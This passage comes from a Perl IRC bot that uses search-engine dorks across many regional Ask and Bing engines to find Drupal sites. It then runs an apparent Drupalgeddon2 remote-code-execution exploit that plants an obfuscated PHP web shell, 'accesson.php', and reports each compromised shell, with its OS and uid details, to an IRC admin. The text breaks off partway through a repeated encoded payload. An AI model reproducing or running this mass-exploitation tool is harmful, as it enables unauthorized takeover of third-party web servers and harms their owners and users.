if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
if ($engine eq "BingDE") { my @bingDE = &bingDE($dork); push(@total,@bingDE); }
if ($engine eq "BingUK") { my @bingUK = &bingUK($dork); push(@total,@bingUK); }
if ($engine eq "BingCA") { my @bingCA = &bingCA($dork); push(@total,@bingCA); }
if ($engine eq "BingBR") { my @bingBR = &bingBR($dork); push(@total,@bingBR); }
if ($engine eq "BingFR") { my @bingFR = &bingFR($dork); push(@total,@bingFR); }
if ($engine eq "BingES") { my @bingES = &bingES($dork); push(@total,@bingES); }
if ($engine eq "BingIT") { my @bingIT = &bingIT($dork); push(@total,@bingIT); }
if ($engine eq "BingBE") { my @bingBE = &bingBE($dork); push(@total,@bingBE); }
if ($engine eq "BingNL") { my @bingNL = &bingNL($dork); push(@total,@bingNL); }
if ($engine eq "BingPT") { my @bingPT = &bingPT($dork); push(@total,@bingPT); }
if ($engine eq "BingNO") { my @bingNO = &bingNO($dork); push(@total,@bingNO); }
if ($engine eq "BingDK") { my @bingDK = &bingDK($dork); push(@total,@bingDK); }
if ($engine eq "BingSE") { my @bingSE = &bingSE($dork); push(@total,@bingSE); }
if ($engine eq "BingCH") { my @bingCH = &bingCH($dork); push(@total,@bingCH); }
if ($engine eq "BingNZ") { my @bingNZ = &bingNZ($dork); push(@total,@bingNZ); }
if ($engine eq "BingRU") { my @bingRU = &bingRU($dork); push(@total,@bingRU); }
if ($engine eq "BingJP") { my @bingJP = &bingJP($dork); push(@total,@bingJP); }
if ($engine eq "BingCN") { my @bingCN = &bingCN($dork); push(@total,@bingCN); }
if ($engine eq "BingKR") { my @bingKR = &bingKR($dork); push(@total,@bingKR); }
if ($engine eq "BingMX") { my @bingMX = &bingMX($dork); push(@total,@bingMX); }
if ($engine eq "BingAR") { my @bingAR = &bingAR($dork); push(@total,@bingAR); }
if ($engine eq "BingCL") { my @bingCL = &bingCL($dork); push(@total,@bingCL); }
if ($engine eq "BingAU") { my @bingAU = &bingAU($dork); push(@total,@bingAU); }
if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
@clean = &clean(@total);
if (scalar(@clean) != 0) {
&msg("$channel","$drupallogo 15$engine14 14Total: 7(".scalar(@total)."7) 14Clean: 7(".scalar(@clean)."7) "); }
my $num = scalar(@clean);
if ($num > 0) {
foreach my $site (@clean) {
$count++;
if ($count == $num-1) { &msg("$channel","$drupallogo 6$engine 15Done..."); }
my $liat = "http://".$site."/CHANGELOG.txt";
my $cek = &get_content($liat);
if ($cek =~ /Drupal (.*?),/) {
&drupalo($site,$chan,$engine);
}
}
}
sub drupalo(){
my ($site,$chan,$engine) = @_;
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_verify_mode => LWP::Protocol::socks::SSL_VERIFY_NONE });
$ua->timeout(20);
$ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0");
my $addblockurl2 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=echo+PD9waHAKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCdMVXZIRHF4VkV2eWEwY3plOEZON3dudnZ1YXhqamZlZXJ4OXIya20zR3FnaXE5SlNVOVpGRC9jL1czOGs2ejJVeXovajhGc3c1SC96TXFYejhrSXhORWhrLy8vbVlsSmJZQ3RpU09jUy80S2NqUHdMTW55ZGZpOVNlVE1ZaFAweEhYdlc0ZGpqNzhnejhyNFlYei9yaGdzRkN2MzNSUEs5RmQrRFd1M3ZGZEZTT0RySkswa21IbUhOTVkrNzFmdjQvYTUyQWZqb3FyMlhBMTQvZFU5VDdVT3VjNnpxUloyRkNKVTFmdHdYdGg1Qml0UUpSSE1JNmNrSTFMdkVpaWJ6bzF1eWVZVWtwaHE2NzVMcEoxTmVNdFdoRWwwS0szRm03aXdCcHRqbmhoSVBBdUk2VWhzWWRuYlJuR3NxSlgxcjVWV3VYSnBUeXR4ZVNNclNLWEU2RUMzb083RHdGTTQ4cjhoUVRPVlhxOXdNNmtJMW5pdjQ0QW1CejZ2VWFHeVI3aHp1Q3JhTlZ2enVuVHZ2Mk9wRWNWbFVmUWJzMHZCaDZralZvQUdOdndQWUx1RWJXNGFmK2M2RW9LTVdrZDNYOHlESUlQdDlSWml2TlIwM2xBZjMvVGVIdE1lZGNjMEZySEtBWlpVQXFUQzBCb3lRUmJ0VWtCZDVGbk9PU1RPcmNzS01pdVJCQTRPaHZzU2Z1eWp0WmRLb2pYL2dyWkVWWTM1cVF6NFJ6K3hVQTZmNjZOWE8xQndVYVkyNWRsRlQ3U1dhS2JhNTNOWlRPbFIxWTJQbm5NYzNweHlsdDN5dXREUXlRRjRoZWhyRDlabXR3OXlNU0RNQVJ5eU5rNzFKcGw5eTREdnVCcnlLZVByN2hnL0VKRzJ3MFgxQWJ4a2NmUSt1M1RNTXc4T1VZU2E1N0R1bGM3SEJXWGlZTVlQYnBUNkxGMURTWXVTV3grVVlXdWtraDJjTFh3azFFUzR6Um1RbXBZYzVtMWR0U3hBcFM4MXplejliQzdGNllsZkk1NjBmTVEwMFpIWFZ5Q0pVaUEyaFIxSkpuK3lkYnB0N2taQ0E4Z1NoTkZDbngzZnlwUVg0T1ViMmdEb0V4RmE5dnFNRnRORXBRK0NsenhycjB4L1M5YWxlNmRqYzY5TkwyNGZQK2o4NWJaL1o0WmNLRnhJQ0dYeWxIaHZ5RE9PeDUzRTNFdkFPOEp4Y0xHL3V2Um9KVkZOV2I1WDd2SndrU1F0RDZPcXRQMUNFS3lKMklIVmc1QjB0MzBvV0VETnlyQkdlTDdDaFU5THc4N3EvelBHQ2dmSU1RMTBNSHR1cXhtU3pMMmVlcUgwblQ1UmpkVFQ4QTgvRjNvYzlORFltcTlVOVo1dHFrMVAxNERLaS9SU1FZenlTZXZiT3hQc3I4NGpMams4bWFYclNUR2QwbVUrREdDUjE5bGNGOThTZnIwMnRWL2V0QW9jU1ZpTWxza0xVSFlUazd4VUlSMmovODBCVHB3d040bVVDQ0xsNkkvcWVwd3pLQkhtajYvMEF1eWFqM0hndlcyWEdLdFJlWXBYak5ZbWhmakFpYW51UW5xemNlc2x4RGRRYjhsUHovcENFY3BkZnlWdFdVc2ZCNC9NVlBlSENlRDNuM2lMeFdQVXBCSWZDL0RTMjdxTmduRnhvOHN5dEFQNEFwWktYOFdGSyttcG4wOWlHakNsQzBwN2lodzRFcjVlQjQvNGtzSmUzUFMwc08rRVh0M1BXdXI2NXdCMERmV1JmRHh1WmV6MUkxL05Wb3o4ZGFTK3I3TUVaNU1MR00wdDE2anBIUCs2STJLWVc4cUFJaE0wellRUU9TVmZQMWVQeXB3TXU1MTRxSkhtck5IRmJ3RDdZTW5KMDJrNWdaeEJGWU5WQ09pNmltU1pvWnlkSVRqRGN2N2J3c3RZNXFKMElyWEQ3TjV1VXhKVDE0VHg1R3A5N0Q4NGQ3bWpURDlwcXpTWHlxZ051MkFuVktGTkdPdVN1TEJrZm1weStqUE4rajRJK3JRNzliVTBmTm8wUks5K1UzZ3cwRkwreUlzOXhaVWd0ZTZqdkpBNlJrdzkwRExoM3VJU3A2Wm5tVDdaZ29Sbi9BTmdBeVdIb2hBUnhETitjK3d5TmxES3VPTGo2Q1ZGRlE5T3BOVlVCYzBGQjk2WFlUYmgvanhkUTRZQ1lzeTdLQTB1RjBqMHVrcTVPMm52MmdWSlF3LzVpbkgvaGx6Rjh4UWpXclRJUk9ka0hmWnBxWDByMVlWVnhzbVBlTVA2YzRiR0NEdUdpc2YwZ3R3cFhNTFAwQks4bmtHLzJtcjdMY2o5V29VZy9ia2w3bFVSUnNqcTBaaDRVMkhnNU9pRUM3blFUOEJuVjlFQ2RUT2VENXNDOWQ5VGpLeUJnY2QyR3NobFczdktPdEMycXRGeVFjSFJraEt4ZVhwMkd0TUZRR1RDTEdQUGU3KzBpcytWU3NjT1dCMmZUc2pUdCs4U0kwVUQzd3NSV3dzYTErcjRibXFZc3cxL3BUYjJVcUhJN1hMVXdhUnMrQk05MHhpWXkxY2xUV2xJMTVqRlRMdU5xNGhZWUNhSW1adjJsTDV5UlVGd2hFQmVncmJSSnRqNkM1ekNpU1hFZW41SnhGMUJvY3NoYUNlQ2h1eGFIb3R1WFdOWkhNUzREVjR6NVNvMjNKTkllYUFoZFpIVFk2VXZzYjRRamlGWFErYjQzYnFzOW83UGVwYmdWc0Zvdngxc0tHNHB3S09aN2p4SktheVdFK0w1V3IyeTBaMTIyd2dBM1FLcW9Pa3RnLzRXMWFyeWNmaWRlUElwN2lyU0N6VGJGN2FhQ2o3ZzZhZmt0UXBMNklWREpzYTVPMzdlSyt5dFJaNTVaajl4UEswaW9LdDkxUFU4bmdaSDRGSDdSQjVRNnZMYkZLMXM2UXFTbmVJc3F6OXo5VjJRMDYvdEgrL3Btek5qNEc2YTNvQnI3WVJxOWs4bXFRaGYxNmk4NnJpNlc0elBIdmVkZEpOUE5VUjBGQmFuZ0NCRDVxOFVZR0FIaExsdWt0bjBvcHR1YmJ1d0NScVBxL2g0dHpVS1V3YXhTbk9ZYU9iUEluU1dYUWFGcW1RT1JkTDhrUHB2S1U4dllieXlTQVptbEgydVpkN3h5aE8raHdtL0pUUlhKT0lrc3VTOHZXclViOHcxMytqeDg2dEMvai9vY3BlMk1tUWpudDUwUXZoaWE4bmFyaFFmQ0lrUzdHRVZLNVA2QjNrRnFtQUovTGxWTlVLMFhiODIrRzJiODZ1REk4bVRVbXA3K2ExRU54eGRIU3czMlVVKzk3Nkp5U2dMakxzS2VkNDdLb2pBZnQydHdncDRkOFg1YzVVSHdUZjZXQThVeFRoNlRqSTA2bmYzcGlUbTBrRThocUg2Tm5MRzVpUnFJbkxRV29OdUxzOHlUa0ZhWmFCcVdsRW54MTZiSWthUDdQTkpyZ3RUcFBhZmxVdDRLTURWQWRXbGZ2ZTdHQ2JBTFZzK0tnT1lFaVdsMDZ1dEVBOVZKclN3NkpQUDl0UktpdG4wSWNTNjUrQUtTaEd1M1IxYmpnYnArOEVGeStRK2orT3FzekNyTEhmTktKVE80Y0VWTVgrMGZMdEgzZS9RRmx6RzQ2ODNsTDdjekJyWGxsb3FneGF5bUYyMFBQSnN2NFlaR0dtdTJTSnlvRGR3eFR5c1RkdlpGelZaZjVqd2F1TllLSGYrblBVM1pRam9oWVRPM3JZeXJHMXJwL1Y1Y0ZmMnE3WTBxcnpnaU1PMXJWUkpodFAydWNEQ3QwWUF0WDQ4M1A3YUZyWFhsaTVPOUdrY2JuSzgzUlF3YzIxc25ubWp1dEFyK3QzQVk5VWp5RjdvL0dnY0dpYVJkenNjSHR0dms0Y2tXRmdOallVZDE2elFXVXFMYU5aUG4zcEs2WXgrWk9BS0tjODg3SWdiWHoySVJHeXhEb3EyNy9LejZMcHY0ZXlIQldUNWpsbDR6SUVRSktaaW9JTzBHSlVDNkFoRC80WXpyNkt3UDM2THhqUElDeHJkODRrenJmcUY4MDJHRXVpejdRUDFCR0xYOFVpTGhmTERCQ3c3dDZrZE1sZmhWRzMvZG9SbVNtL0FXc0d5c1FmekZHT095d01SMWlOOTh0NGpSb2hScGp2aTRjd3hWcFYxZ2NVSTFZZC9TajVJZ1FTSlVsSEIvOEpWdkY0bXI2YjZUeWhRT2d0VTZQektIbTREeDg5Q1AwN2RuajBGZEw0emp0eFdsdVQrV21KQ2J4VDM2NDByTS9qVWNMa01rYVYzWEg0Qk1BNzNXVmRHQ0JRRWRJelUxZDN3aDJqRnFVTWwzOXJuRk43TDVtaUdWc0luYUpxQlltZkpUUHpOeEp5anJBSGdYUHlCQVN1b05GMUlldlkrOXFWWnJRbVJMdkVjOWtGRnRNR01pQ25yaENCV25nQnd2a0F2Ykk4UUpiVVd4MWt3V1VSVGdpbEFqaFRZRjdna3N4V2N3T2FVdlBxbXpiZUhjSVN1QXl6bUg4ckxjRkhrNnYzODl1N05VQ21qdlNXVGhyT2xCQlJnWmMzWUpUYUFQTUVIWURmMldRQ0F3M0lKOS9KRXA5ZUllbmxoZmQ2d1p4NTA0RWk5VGtGc2dDNnJFd0UrV3ZrMTFhajlmUjBNNmJoRzl0L3k0OXZpczlTRDNKQlNhQXlTYURkQkxSNm8zR3dhd01vMmNrQWo4TS9PYlA4ak1FMnBlYitCZ3loQ09DM3EzZi9xQ2U0R1FtT3M1cXlLaUlzb24wUUdjdHJXZkUxTlN1b01Qc0dNdlNjOFQvdUg3N29ZQlhmdlM2VTlyNUxER2w4ZXlON2o4bHgrU2ZtMWduOGlZUDlablBmdXo3cTUrdkYxTHZTSDRjSEIrc3hEd0U5djRsS1NjK0FFQkh4Y1FkOWFqU01GcGd5QnFJL3AwbCtwOXk0K041Nm8yZm9SOGxnT0lWNGdXWFpCWS8yU0xjcmhDVGw3QStrSnFUU3NGTTBmT2N0R3o1RVBkZGlNSit0SWluYnZ4Q1FuMHB2elcwWk5ITlo5bUxuOEdKQmQ2WFR6MEIvZWEzcXFZejk1dHVoYlllOCtGTnhvMnlSUDZGYWhEK0RkU0ViYUxveUp0VmRQNGFvaE1TUmV4V0FzZEJZNVc0bEFIZ2x3NHJ6ZjJsWVNDdUpRMEhQbS9OaTNwa3NNa0pUbGwzK1VIekt6TW44Wm8zV3RVZXMyOUhtbHRrWTBEdGZTanJXYWU4YUdXU2ZvNllXdTVhVFdFWHZaaS9HbDZZUGpPWFFqQk1NZVFoOVUxRGxJRmJuM0hhNHltSXFLNktOK09MTWg3ZlFCYWdPKzZzSVRTY0hHU3Q1TjZRb1UyeUZ1YUpVTSs2clpsQm94Y0NTRXBUVnpaTm9Wdzh0dUFSTnRXaXJEaUp3K2MwcDJ0QjQyTTRJMlBkVGVOWFFkMWtHYnFTbDVYRmswVjFubE5hMy8zRkM0UnNTdXNaSTNlRklqKytwekttTExvcFQwOTg1eU93ZmVhTTh0c1dmQjJrSUhlTGtyRUtuOEtCYXozT3YvVlBkWUVCSS9IV1ZLeVh6Y3FWakdpUCtuS1JPdkhHWWh6VVlEOFNSaVhoaUQ2Snp2Z1ZCczhIRTE0bCtjb2w5YjhnRkQ1dm00OG1PcmZSZUU0UVdrLzVuZUw2ZG9aMU5pVWFzV012cFdJWDZnNENxYnlXekV5ZFB4dUtXM090VlVla1JvTE54WjRoNkJyaW1EN0tuV1dNVlRhL3FYVldZUUxiUTFJWjFXUW5Ia2UwQnZpUVJSUVlkbnpiTExNNE96QUV6UlFvSnBwVmRSekRFUTI3UUZEbTFmaDk5dGFEWHpUbFlhUmJTSXVWV1I2enphOGNhMll5YXhxdlpMb3VXYkhkTzVZOUpKVXVyZWtzNnhZSTNtTXQyU0g5Z0V2Z2JSUDBKQkRXQWdXSnYzS1lGRTlWeE1pUytjbEdTSnRzbUVmYUZYN25XazRYOGhUb1FvcXM1WncxRFB5YS9ob3JVVHBXNGRqZnF4ZWJBWXBkdjNzNnZ0YStSaWR4Zld2N2UxSmsxdXpmR29hd0JqOHU4ZE5DUnhodVFrdnVTTzNYa3hxTlI5ZEhyVm9WM0VLdWI5UGxoaDZuWDFQNDJhZDRkZ2dZRks3SlZjcjVMdVIwUWcyd3N4Tk9SYVhvM1cvWW5Ta3dtMSsyMVFSN2xabWhnT2NxbzJpZGo5ZThXaHEzdWU2ZWxnK2pzaVc0ZFBHOXhsOEdWYkNNSE1IdXdPTHFJVjBTdHg4NVhJaGZ5alJLNytXdHM5bTY3bTU5bEVCelJzOUtMbkNFZlc0djhSaENjTnVER1RMRUF4YldKdUIyNXlXbVYzQ2VqYWpHL3paRWVnMmlOSTMwQVV4Q0dCN2pTSVZTS0lYYTdHdnlOd1FERkhxd0g2dDVsWmFvWU9rTkRBWXNsWDVLQ3phNWQ3cFlQNXZ2Z05RbDNUa2xlWVlLc1Vab21lcjN0S3VpNzdwc3AvazdlQzhBazlMVEdFQXZqQmo4RU9QRWR5TkpOVDdJcFA0cXhxOHUzM0hVbzBCUUhzZS96S1lLSE1JSzBxMGNpTnVKYUt2bjFLQm1UdlVyeDJuV0J1MnBjZVNDaGpHZlFBTG55ZG12RlZnVy9PSmR0K1JUdUN1bW9LcHdtc1VkWWRYNnZiZXhpMHQ2L01Dei9lZFVYa2VRMHN4Z01LdzY5YzR6M0ZEeU9BV0NFK3JkQkNWRzJNRlQvRXI2dWNuWmNPQXlWZmI2a2g0aTlOMXMvdzRFUE9QSjk1UGYxUkNaTHI3MEtldDFKN1A0RnQ1TUYzRFR5WXVNZ3oySWJLOUVYamd6K3RaT0E0ckJONmtmblF4RU9lenZjeTdRY09FdDZrcTQ0ejNZc2c5ckhWVkFwcEM2YVFxcE5FQmUycWJWQlcwQ21iczdLUThrWXlvODBsVEZSdm5HMzFiU2Z6a01WdHBES0s0d21rcXREdFAxVVN4NE5kTnFjUGNjOHA4VG1oMzU1TDlpYkF6Y0RDdUgxemdPM2xudjNmdGx6V0NTL2gzclYvUmNaK0ZqaFFib29ucjhuQXdld215STVMUWlCRnh4VWw2dTk2a3ZJTDZYTkVZZk9rR2Yrb0pBN3liMTlSWnpvcVNLWjZmdGFIa05wcTkvSktVWVVYZFlpWG1xK0QxMTJ1ZE1vSXk2WXRRenNpYlg1ZjlIWmkrYXNJbzRnRmZwb3VVRkppUWdYamIxMlZBMDVyN1dZc05ZWVhQRGZZdUR2TDRrU3Q3UHJKRlJWaVJKdTR4aGxqNjJEakRPVWRIdk04L0I2bkc4a1Z5NStPZENsdzNmOEhXKy8zN1ArL252LzhDJykpKSkpOwo/Pg==+%7C+base64+-d+%7C+tee+accesson.php";
my $ajax2 = "_triggering_element_name";
my $response2 = $ua->post($addblockurl2, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', $ajax2 => 'name']);
my $body2 = $response2->content;
my $regex2='';
if($body2 =~ s/$regex2//){
my $newout=$1;
$formcraft2up2="http://".$site."/?q=file/ajax/name/%23value/$newout";
my $responses2 = $ua->post($formcraft2up2, Content-Type => 'application/json', Content => ['form_build_id' => $newout]);
$addblockup2="http://".$site."accesson.php";
my $checkaddblock2 = $ua->get("$addblockup2")->content;
if($checkaddblock2 =~/
/) {
my $shell2 = "http://".$site."accesson.php";
my $shell3 = "http://".$site."vuln.php";
my $cekap2 = &get_content($shell2);
if ($cekap2 =~ /JEMBER Shell/i) {
&get_content($shell2);
my $safe = ""; my $os = ""; my $uid = "";
if ($cekap2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($cekap2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($cekap2 =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$channel","$drupallogo 15,1$engine 9<4=9>11 Upload OK 15[SafeMode=$safe] [OS=$os] uid=$uid");
if ($nick eq $admin) {
&msg("$admin","15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
} else {
#&msg("$nick","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
}
my $cekap3 = &get_content($shell3);
if ($cekap3 =~ /Vuln!!/i) {
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell3 ");
}
}
}
sleep(3);
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_verify_mode => LWP::Protocol::socks::SSL_VERIFY_NONE });
$ua->timeout(20);
$ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0");
my $addblockurl2 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=echo+PD9waHAKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCdMVXZIRHF4VkV2eWEwY3plOEZON3dudnZ1YXhqamZlZXJ4OXIya20zR3FnaXE5SlNVOVpGRC9jL1czOGs2ejJVeXovajhGc3c1SC96TXFYejhrSXhORWhrLy8vbVlsSmJZQ3RpU09jUy80S2NqUHdMTW55ZGZpOVNlVE1ZaFAweEhYdlc0ZGpqNzhnejhyNFlYei9yaGdzRkN2MzNSUEs5RmQrRFd1M3ZGZEZTT0RySkswa21IbUhOTVkrNzFmdjQvYTUyQWZqb3FyMlhBMTQvZFU5VDdVT3VjNnpxUloyRkNKVTFmdHdYdGg1Qml0UUpSSE1JNmNrSTFMdkVpaWJ6bzF1eWVZVWtwaHE2NzVMcEoxTmVNdFdoRWwwS0szRm03aXdCcHRqbmhoSVBBdUk2VWhzWWRuYlJuR3NxSlgxcjVWV3VYSnBUeXR4ZVNNclNLWEU2RUMzb083RHdGTTQ4cjhoUVRPVlhxOXdNNmtJMW5pdjQ0QW1CejZ2VWFHeVI3aHp1Q3JhTlZ2enVuVHZ2Mk9wRWNWbFVmUWJzMHZCaDZralZvQUdOdndQWUx1RWJXNGFmK2M2RW9LTVdrZDNYOHlESUlQdDlSWml2TlIwM2xBZjMvVGVIdE1lZGNjMEZySEtBWlpVQXFUQzBCb3lRUmJ0VWtCZDVGbk9PU1RPcmNzS01pdVJCQTRPaHZzU2Z1eWp0WmRLb2pYL2dyWkVWWTM1cVF6NFJ6K3hVQTZmNjZOWE8xQndVYVkyNWRsRlQ3U1dhS2JhNTNOWlRPbFIxWTJQbm5NYzNweHlsdDN5dXREUXlRRjRoZWhyRDlabXR3OXlNU0RNQVJ5eU5rNzFKcGw5eTREdnVCcnlLZVByN2hnL0VKRzJ3MFgxQWJ4a2NmUSt1M1RNTXc4T1VZU2E1N0R1bGM3SEJXWGlZTVlQYnBUNkxGMURTWXVTV3grVVlXdWtraDJjTFh3azFFUzR6Um1RbXBZYzVtMWR0U3hBcFM4MXplejliQzdGNllsZkk1NjBmTVEwMFpIWFZ5Q0pVaUEyaFIxSkpuK3lkYnB0N2taQ0E4Z1NoTkZDbngzZnlwUVg0T1ViMmdEb0V4RmE5dnFNRnRORXBRK0NsenhycjB4L1M5YWxlNmRqYzY5TkwyNGZQK2o4NWJaL1o0WmNLRnhJQ0dYeWxIaHZ5RE9PeDUzRTNFdkFPOEp4Y0xHL3V2Um9KVkZOV2I1WDd2SndrU1F0RDZPcXRQMUNFS3lKMklIVmc1QjB0MzBvV0VETnlyQkdlTDdDaFU5THc4N3EvelBHQ2dmSU1RMTBNSHR1cXhtU3pMMmVlcUgwblQ1UmpkVFQ4QTgvRjNvYzlORFltcTlVOVo1dHFrMVAxNERLaS9SU1FZenlTZXZiT3hQc3I4NGpMams4bWFYclNUR2QwbVUrREdDUjE5bGNGOThTZnIwMnRWL2V0QW9jU1ZpTWxza0xVSFlUazd4VUlSMmovODBCVHB3d040bVVDQ0xsNkkvcWVwd3pLQkhtajYvMEF1eWFqM0hndlcyWEdLdFJlWXBYak5ZbWhmakFpYW51UW5xemNlc2x4RGRRYjhsUHovcENFY3BkZnlWdFdVc2ZCNC9NVlBlSENlRDNuM2lMeFdQVXBCSWZDL0RTMjdxTmduRnhvOHN5dEFQNEFwWktYOFdGSyttcG4wOWlHakNsQzBwN2lodzRFcjVlQjQvNGtzSmUzUFMwc08rRVh0M1BXdXI2NXdCMERmV1JmRHh1WmV6MUkxL05Wb3o4ZGFTK3I3TUVaNU1MR00wdDE2anBIUCs2STJLWVc4cUFJaE0wellRUU9TVmZQMWVQeXB3TXU1MTRxSkhtck5IRmJ3RDdZTW5KMDJrNWdaeEJGWU5WQ09pNmltU1pvWnlkSVRqRGN2N2J3c3RZNXFKMElyWEQ3TjV1VXhKVDE0VHg1R3A5N0Q4NGQ3bWpURDlwcXpTWHlxZ051MkFuVktGTkdPdVN1TEJrZm1weStqUE4rajRJK3JRNzliVTBmTm8wUks5K1UzZ3cwRkwreUlzOXhaVWd0ZTZqdkpBNlJrdzkwRExoM3VJU3A2Wm5tVDdaZ29Sbi9BTmdBeVdIb2hBUnhETitjK3d5TmxES3VPTGo2Q1ZGRlE5T3BOVlVCYzBGQjk2WFlUYmgvanhkUTRZQ1lzeTdLQTB1RjBqMHVrcTVPMm52MmdWSlF3LzVpbkgvaGx6Rjh4UWpXclRJUk9ka0hmWnBxWDByMVlWVnhzbVBlTVA2YzRiR0NEdUdpc2YwZ3R3cFhNTFAwQks4bmtHLzJtcjdMY2o5V29VZy9ia2w3bFVSUnNqcTBaaDRVMkhnNU9pRUM3blFUOEJuVjlFQ2RUT2VENXNDOWQ5VGpLeUJnY2QyR3NobFczdktPdEMycXRGeVFjSFJraEt4ZVhwMkd0TUZRR1RDTEdQUGU3KzBpcytWU3NjT1dCMmZUc2pUdCs4U0kwVUQzd3NSV3dzYTErcjRibXFZc3cxL3BUYjJVcUhJN1hMVXdhUnMrQk05MHhpWXkxY2xUV2xJMTVqRlRMdU5xNGhZWUNhSW1adjJsTDV5UlVGd2hFQmVncmJSSnRqNkM1ekNpU1hFZW41SnhGMUJvY3NoYUNlQ2h1eGFIb3R1WFdOWkhNUzREVjR6NVNvMjNKTkllYUFoZFpIVFk2VXZzYjRRamlGWFErYjQzYnFzOW83UGVwYmdWc0Zvdngxc0tHNHB3S09aN2p4SktheVdFK0w1V3IyeTBaMTIyd2dBM1FLcW9Pa3RnLzRXMWFyeWNmaWRlUElwN2lyU0N6VGJGN2FhQ2o3ZzZhZmt0UXBMNklWREpzYTVPMzdlSyt5dFJaNTVaajl4UEswaW9LdDkxUFU4bmdaSDRGSDdSQjVRNnZMYkZLMXM2UXFTbmVJc3F6OXo5VjJRMDYvdEgrL3Btek5qNEc2YTNvQnI3WVJxOWs4bXFRaGYxNmk4NnJpNlc0elBIdmVkZEpOUE5VUjBGQmFuZ0NCRDVxOFVZR0FIaExsdWt0bjBvcHR1YmJ1d0NScVBxL2g0dHpVS1V3YXhTbk9ZYU9iUEluU1dYUWFGcW1RT1JkTDhrUHB2S1U4dllieXlTQVptbEgydVpkN3h5aE8raHdtL0pUUlhKT0lrc3VTOHZXclViOHcxMytqeDg2dEMvai9vY3BlMk1tUWpudDUwUXZoaWE4bmFyaFFmQ0lrUzdHRVZLNVA2QjNrRnFtQUovTGxWTlVLMFhiODIrRzJiODZ1REk4bVRVbXA3K2ExRU54eGRIU3czMlVVKzk3Nkp5U2dMakxzS2VkNDdLb2pBZnQydHdncDRkOFg1YzVVSHdUZjZXQThVeFRoNlRqSTA2bmYzcGlUbTBrRThocUg2Tm5MRzVpUnFJbkxRV29OdUxzOHlUa0ZhWmFCcVdsRW54MTZiSWthUDdQTkpyZ3RUcFBhZmxVdDRLTURWQWRXbGZ2ZTdHQ2JBTFZzK0tnT1lFaVdsMDZ1dEVBOVZKclN3NkpQUDl0UktpdG4wSWNTNjUrQUtTaEd1M1IxYmpnYnArOEVGeStRK2orT3FzekNyTEhmTktKVE80Y0VWTVgrMGZMdEgzZS9RRmx6RzQ2ODNsTDdjekJyWGxsb3FneGF5bUYyMFBQSnN2NFlaR0dtdTJTSnlvRGR3eFR5c1RkdlpGelZaZjVqd2F1TllLSGYrblBVM1pRam9oWVRPM3JZeXJHMXJwL1Y1Y0ZmMnE3WTBxcnpnaU1PMXJWUkpodFAydWNEQ3QwWUF0WDQ4M1A3YUZyWFhsaTVPOUdrY2JuSzgzUlF3YzIxc25ubWp1dEFyK3QzQVk5VWp5RjdvL0dnY0dpYVJkenNjSHR0dms0Y2tXRmdOallVZDE2elFXVXFMYU5aUG4zcEs2WXgrWk9BS0tjODg3SWdiWHoySVJHeXhEb3EyNy9LejZMcHY0ZXlIQldUNWpsbDR6SUVRSktaaW9JTzBHSlVDNkFoRC80WXpyNkt3UDM2THhqUElDeHJkODRrenJmcUY4MDJHRXVpejdRUDFCR0xYOFVpTGhmTERCQ3c3dDZrZE1sZmhWRzMvZG9SbVNtL0FXc0d5c1FmekZHT095d01SMWlOOTh0NGpSb2hScGp2aTRjd3hWcFYxZ2NVSTFZZC9TajVJZ1FTSlVsSEIvOEpWdkY0bXI2YjZUeWhRT2d0VTZQektIbTREeDg5Q1AwN2RuajBGZEw0emp0eFdsdVQrV21KQ2J4VDM2NDByTS9qVWNMa01rYVYzWEg0Qk1BNzNXVmRHQ0JRRWRJelUxZDN3aDJqRnFVTWwzOXJuRk43T